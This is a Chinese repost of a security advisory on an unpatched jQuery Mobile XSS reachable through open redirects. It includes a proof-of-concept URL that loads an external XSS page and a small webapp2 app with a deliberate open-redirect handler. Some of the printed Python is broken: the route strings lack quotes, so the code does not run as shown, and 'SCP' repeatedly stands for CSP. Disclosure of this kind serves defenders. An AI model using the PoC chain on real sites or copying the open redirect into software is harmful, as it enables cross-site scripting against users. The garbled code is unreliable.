首页 > 代码库 > [0day]jQuery Mobile XSS

[0day]jQuery Mobile XSS

漏洞影响范围:

任何一个website使用了 jQuery Mobile 并且开放了重定向都有可能存在XSS,并且目前还没有相关补丁信息。

应用介绍:

jQuery Mobile是jQuery 框架的一个组件(而非jquery的移动版本)。jQuery Mobile 不仅会给主流移动平台带来jQuery核心库,而且会发布一个完整统一的jQuery移动UI框架。支持全球主流的移动平台。jQuery Mobile开发团队说:能开发这个项目,我们非常兴奋。移动Web太需要一个跨浏览器的框架,让开发人员开发出真正的移动Web网站。

详细信息:

漏洞发现作者[Eduardo Vela (sirdar kcat)],在前几个月研究SCP绕过的时候发现jQuery Mobile有一个非常奇怪的行为,它会取URL中的location.hash,输出到innerHTML中。所以决定仔细的分析一下相关原因:

  漏洞信息:

    1、检查你的jQuery Mobile是否在location.hash中

    2、如果看到localtion.hash有URL,它会调用history.pushState,这样你不能调用history.pushState 到跨域URL

  3、它会将innerHTML响应到页面中

理论上这个是安全的,但是如果你有任意开放的重定向,就会存在这个XSS,因为对于jQuery Mobile来说history.pushState打开是相同的域

作者在2017年2月8号尝试联系了,jQuery Mobile的团队说:我们认为这个一个Open Redirect的漏洞,而不是他们获取时候锁造成的漏洞,并且不打算进行更新,

如果更新会破坏现有的应用,所以意味着,这个补丁也不会被更新。

  测试URL:http://jquery-mobile-xss.appspot.com/#/redirect?url=http://sirdarckcat.github.io/xss/img-src.html

  测试代码:

main.py

import webapp2


class MainHandler(webapp2.RequestHandler):

  def get(self):  # pylint:disable-msg=invalid-name
    """Handle GET requests."""
    self.response.write("""
<link rel="stylesheet" href="https://code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.min.css" />
<script src="https://code.jquery.com/jquery-1.11.1.min.js"></script>
<script src="https://code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.min.js"></script>""")


class RedirectHandler(webapp2.RequestHandler):

  def get(self):
    """Handle GET requests."""
    self.redirect(str(self.request.get("url")))


APP = webapp2.WSGIApplication([
    (/redirect, RedirectHandler),
    (/.*, MainHandler),
], debug=True)

app.yaml

application: jquery-mobile-xss
version: 1
runtime: python27
api_version: 1
threadsafe: yes

handlers:
- url: /.*
  script: main.APP

libraries:
- name: webapp2
  version: "2.5.2"

 

  从安全从业者的角度来看:每个使用jQuery Mobile,并且开放了重定向都会存在这个XSS漏洞。

  另外值得一提的是,如果你使用了随机数SCP策略,但是仍然还可以通过How to bypass CSP nonces with DOM XSS ??来进行窃取

 下图为jQuery Mobile在Stack Overflow的时间图:

技术分享

使用统计图:

技术分享

总结:

1.如果你的项目不需要开放重定向,那么可以可以尝试关闭它

2.根据老司机的经验,Open Redirects是非常常见的错误,也可以认为是一个通用的漏洞(其中还有一些很有意思的姿势),无论jQuery Mobile认不认为这个是不是漏洞,但是对于安全从业者来说都是存在这个XSS漏洞的。

3.jQuery Mobile团队也推荐使用他们的开发文档,进行阅读进行开发。链接

 

漏洞作者:Eduardo Vela (sirdar kcat)

原文:http://sirdarckcat.blogspot.com/2017/02/unpatched-0day-jquery-mobile-xss.html

 

[0day]jQuery Mobile XSS